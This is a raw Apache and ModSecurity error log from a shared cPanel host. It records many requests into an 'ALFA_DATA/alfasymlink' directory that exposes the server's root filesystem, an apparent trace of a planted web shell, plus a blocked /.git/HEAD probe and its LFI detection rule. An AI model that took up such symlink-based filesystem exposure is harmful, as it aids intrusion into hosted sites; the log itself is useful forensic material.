[Sun Oct 25 20:44:02.162250 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 54.87.95.7:20368] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:44:06.259955 2026] [core:error] [pid 2930805:tid 2930805] (13)Permission denied: [client 54.197.102.71:26591] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory10/subsystem/drivers_probe
[Sun Oct 25 20:44:10.357829 2026] [security2:error] [pid 2926323:tid 2926323] [client 85.208.96.208:43554] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/bind/Bv9ARM.ch05.html"] [unique_id "at6iWi7g7KvJoU2B-eLLMAAAAAY"]
[Sun Oct 25 20:44:10.357872 2026] [security2:error] [pid 2926323:tid 2926323] [client 85.208.96.208:43554] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/bind/Bv9ARM.ch05.html"] [unique_id "at6iWi7g7KvJoU2B-eLLMAAAAAY"]
[Sun Oct 25 20:44:14.166003 2026] [core:error] [pid 2930612:tid 2930612] (13)Permission denied: [client 18.232.11.247:5427] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:05/physical_node/resource4
[Sun Oct 25 20:44:21.991829 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 185.191.171.12:37814] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-128/hwcache_align
[Sun Oct 25 20:44:26.157661 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 3.89.170.186:13706] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:44:30.301020 2026] [security2:error] [pid 2925278:tid 2925278] [client 52.207.47.227:36499] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty12/subsystem/console/subsystem/ttyS3/device/"] [unique_id "at6ibhaKu-Zjs56a5J4rSwAAAAo"]
[Sun Oct 25 20:44:30.301074 2026] [security2:error] [pid 2925278:tid 2925278] [client 52.207.47.227:36499] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty12/subsystem/console/subsystem/ttyS3/device/"] [unique_id "at6ibhaKu-Zjs56a5J4rSwAAAAo"]
[Sun Oct 25 20:45:10.334420 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 34.231.156.59:21574] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:45:14.137340 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 98.82.59.253:62401] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:45:18.143363 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 54.197.102.71:54478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event3/device/subsystem/event2/subsystem/input1/device/drvctl
[Sun Oct 25 20:45:34.142693 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 44.217.255.167:13584] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:45:40.273329 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 185.191.171.14:56666] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:45:42.197526 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 100.28.118.16:39376] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:45:58.152864 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 52.200.58.199:9959] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:46:06.155713 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 34.239.197.197:57988] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:46:18.155602 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 54.147.80.137:47706] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:46:24.690011 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 185.191.171.3:40696] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/store_user
[Sun Oct 25 20:46:26.353735 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 34.231.45.47:15175] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:46:29.780070 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 85.208.96.200:19972] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:46:30.320216 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 54.80.73.122:55600] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0b/eject
[Sun Oct 25 20:46:34.147133 2026] [core:error] [pid 2930805:tid 2930805] (13)Permission denied: [client 44.215.231.15:44435] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:02.0/driver/0000:00:02.0/remove
[Sun Oct 25 20:47:02.187084 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 3.89.176.255:15429] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:47:02.646112 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 85.208.96.196:53428] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/objects_partial
[Sun Oct 25 20:47:03.645891 2026] [security2:error] [pid 2918422:tid 2918422] [client 107.172.76.131:49675] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6i98mX8eKs_cgmrz9wZQAAAAU"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 20:47:03.645939 2026] [security2:error] [pid 2918422:tid 2918422] [client 107.172.76.131:49675] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6i98mX8eKs_cgmrz9wZQAAAAU"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 20:47:10.171295 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 3.219.81.66:45735] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:47:14.152834 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 18.208.11.93:42725] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:47:18.206627 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 23.23.212.212:23295] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:47:21.257146 2026] [security2:error] [pid 2922333:tid 2922333] [client 107.172.76.131:49677] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6jDCC9gidsUAz5qdCHeAAAAC8"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 20:47:21.257213 2026] [security2:error] [pid 2922333:tid 2922333] [client 107.172.76.131:49677] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6jDCC9gidsUAz5qdCHeAAAAC8"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 20:47:22.197013 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 3.223.181.32:4023] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:47:30.307250 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 52.204.253.129:25072] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:47:46.192672 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 3.81.253.213:40143] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:47:50.148391 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 54.91.122.193:53138] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:47:54.307238 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 34.238.45.183:52254] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:48:14.266430 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 54.144.185.255:24661] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/subsystem/devices/device:04/physical_node/resource1
[Sun Oct 25 20:48:19.089021 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 23.21.175.228:49820] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/device:1a/subsystem/drivers/ec/unbind
[Sun Oct 25 20:48:31.077873 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 85.208.96.203:16710] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_dst_cache/store_user
[Sun Oct 25 20:48:34.234545 2026] [ssl:error] [pid 2925075:tid 2925075] (70014)End of file found: [client 34.194.95.99:16564] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:48:50.285150 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 100.29.164.178:7917] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:48:54.470348 2026] [ssl:error] [pid 2925075:tid 2925075] (70014)End of file found: [client 34.196.114.170:50017] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:48:58.224424 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 54.162.69.192:12393] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:49:14.224976 2026] [core:error] [pid 2932351:tid 2932351] (13)Permission denied: [client 3.93.98.99:3143] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/PNP0A06:00/subsystem/devices/PNP0303:00/physical_node/driver/uevent
[Sun Oct 25 20:49:18.238275 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 44.205.180.155:9510] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:49:22.377871 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 52.1.157.90:51047] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:49:24.068492 2026] [security2:error] [pid 2925075:tid 2925075] [client 45.130.203.245:52923] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at6jlKMybP9Ij19IhRsCRQAAAAs"]
[Sun Oct 25 20:49:24.068711 2026] [security2:error] [pid 2925075:tid 2925075] [client 45.130.203.245:52923] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at6jlKMybP9Ij19IhRsCRQAAAAs"]
[Sun Oct 25 20:49:24.069007 2026] [security2:error] [pid 2925075:tid 2925075] [client 45.130.203.245:52923] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at6jlKMybP9Ij19IhRsCRQAAAAs"]
[Sun Oct 25 20:49:30.173772 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 44.214.19.8:63476] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:49:34.159488 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 3.213.85.234:16869] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:49:38.166679 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 52.21.62.139:20711] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:49:42.148256 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 52.200.142.199:29203] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:49:46.135387 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 23.21.250.48:2516] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:49:58.138753 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 34.231.118.144:33330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:50:02.223927 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 3.208.146.193:5737] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:50:09.325697 2026] [core:error] [pid 2927273:tid 2927273] (13)Permission denied: [client 85.208.96.210:46468] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/slabs
[Sun Oct 25 20:50:10.309313 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 54.145.82.217:23490] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:50:22.291497 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 98.84.184.80:14948] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:50:30.184912 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 98.82.38.120:41024] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:50:35.433081 2026] [core:error] [pid 2930612:tid 2930612] (13)Permission denied: [client 85.208.96.210:36810] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCPv6/shrink
[Sun Oct 25 20:50:42.164875 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 54.89.90.224:15037] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:50:46.151253 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 3.225.45.252:7209] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:50:50.203136 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 52.3.155.146:18711] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:50:54.138517 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 50.16.248.61:32193] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:50:55.965844 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 185.191.171.5:23004] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:50:58.144009 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 34.205.163.103:37623] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:51:02.142566 2026] [core:error] [pid 2930612:tid 2930612] (13)Permission denied: [client 44.210.213.220:64441] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/device:16/eject
[Sun Oct 25 20:51:06.927317 2026] [core:error] [pid 2932351:tid 2932351] (13)Permission denied: [client 85.208.96.197:26290] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/usersize
[Sun Oct 25 20:51:18.145673 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 34.225.138.57:36660] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:51:26.168194 2026] [core:error] [pid 2928659:tid 2928659] (13)Permission denied: [client 44.223.193.255:9389] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:0d/eject
[Sun Oct 25 20:51:34.173639 2026] [core:error] [pid 2925075:tid 2925075] (13)Permission denied: [client 52.70.138.176:32607] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:16/subsystem/devices/device:03/physical_node/resource0
[Sun Oct 25 20:51:42.250183 2026] [core:error] [pid 2930612:tid 2930612] (13)Permission denied: [client 85.208.96.196:40640] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/objs_per_slab
[Sun Oct 25 20:51:42.280359 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 3.224.104.67:40864] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:51:46.153157 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 52.204.89.12:63582] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:51:58.148754 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 54.144.185.255:8131] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:52:06.151064 2026] [core:error] [pid 2930805:tid 2930805] (13)Permission denied: [client 52.203.68.145:6603] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/firmware_node/physical_node/resource4
[Sun Oct 25 20:52:10.166055 2026] [core:error] [pid 2932351:tid 2932351] (13)Permission denied: [client 3.215.59.93:54515] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/subsystem/drivers/virtio-pci/unbind
[Sun Oct 25 20:52:18.160683 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 3.223.181.32:32619] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:52:34.049945 2026] [security2:error] [pid 2918422:tid 2918422] [client 107.172.76.131:49675] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6kR8mX8eKs_cgmrz9wfgAAAAU"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 20:52:34.049996 2026] [security2:error] [pid 2918422:tid 2918422] [client 107.172.76.131:49675] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6kR8mX8eKs_cgmrz9wfgAAAAU"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 20:52:34.240549 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 184.73.68.20:9859] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:52:38.177237 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 35.169.102.85:3976] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:52:54.137670 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 54.162.69.192:28271] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:53:02.269491 2026] [ssl:error] [pid 2925075:tid 2925075] (70014)End of file found: [client 3.221.156.96:27030] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:53:16.394441 2026] [authz_core:error] [pid 2930805:tid 2930805] [client 107.150.99.126:40102] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 20:53:22.265426 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 100.28.118.16:33285] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/PNP0A06:02/subsystem/devices/device:1b/subsystem/devices/device:0e/eject
[Sun Oct 25 20:53:42.410909 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 18.206.47.187:35156] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:53:50.161221 2026] [core:error] [pid 2925075:tid 2925075] (13)Permission denied: [client 52.21.62.139:62814] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:01/PNP0700:00/subsystem/devices/PNP0A03:00/device:0b/eject
[Sun Oct 25 20:54:02.145399 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 52.44.148.203:42106] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:54:30.171279 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 3.224.215.150:36730] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:54:42.154438 2026] [ssl:error] [pid 2925075:tid 2925075] (70014)End of file found: [client 18.232.11.247:41074] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:54:46.160263 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 54.144.185.255:54315] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:54:50.207322 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 3.209.174.110:45022] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:55:02.174619 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 3.94.40.182:39743] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:55:10.176758 2026] [core:error] [pid 2927273:tid 2927273] (13)Permission denied: [client 52.45.15.233:47834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:08/subsystem/drivers/button/bind
[Sun Oct 25 20:55:18.351788 2026] [core:error] [pid 2930612:tid 2930612] (13)Permission denied: [client 34.204.150.196:1703] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:09/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:01/PNP0303:00/physical_node1/drvctl
[Sun Oct 25 20:55:22.150945 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 34.231.156.59:38728] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:55:26.181871 2026] [core:error] [pid 2932351:tid 2932351] (13)Permission denied: [client 44.217.177.142:38262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/PNP0A06:00/subsystem/devices/device:00/physical_node/driver/new_id
[Sun Oct 25 20:55:26.578841 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 85.208.96.193:17498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/btree_node/remote_node_defrag_ratio
[Sun Oct 25 20:55:30.156304 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 34.227.156.153:7429] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:55:34.353749 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 35.153.86.200:21802] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:55:58.183244 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 52.44.174.136:45341] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/device:06/physical_node/remove
[Sun Oct 25 20:56:02.168214 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 54.197.178.107:53020] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:56:34.228532 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 52.203.65.83:55060] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:56:38.200273 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 44.212.106.171:14095] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:56:46.160464 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 3.218.103.254:11077] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:57:02.140863 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 52.202.52.82:4859] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:57:05.100254 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 185.191.171.13:12354] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:57:06.136782 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 54.198.33.233:17712] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:57:14.141105 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 34.225.243.131:2527] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:57:34.146584 2026] [ssl:error] [pid 2925075:tid 2925075] (5)Input/output error: [client 100.25.120.246:45515] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:57:38.177758 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 44.223.232.55:16317] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:57:46.140670 2026] [core:error] [pid 2921032:tid 2921032] (13)Permission denied: [client 100.28.133.214:5951] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/drivers/pcieport/new_id
[Sun Oct 25 20:57:50.124080 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 23.21.119.232:11391] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:57:54.152731 2026] [ssl:error] [pid 2925075:tid 2925075] (70014)End of file found: [client 44.221.37.41:38549] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:58:02.216859 2026] [ssl:error] [pid 2921032:tid 2921032] (70014)End of file found: [client 100.29.160.53:17965] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:58:06.143689 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 52.2.4.213:53860] AH02013: coalesce failed to read from data bucket
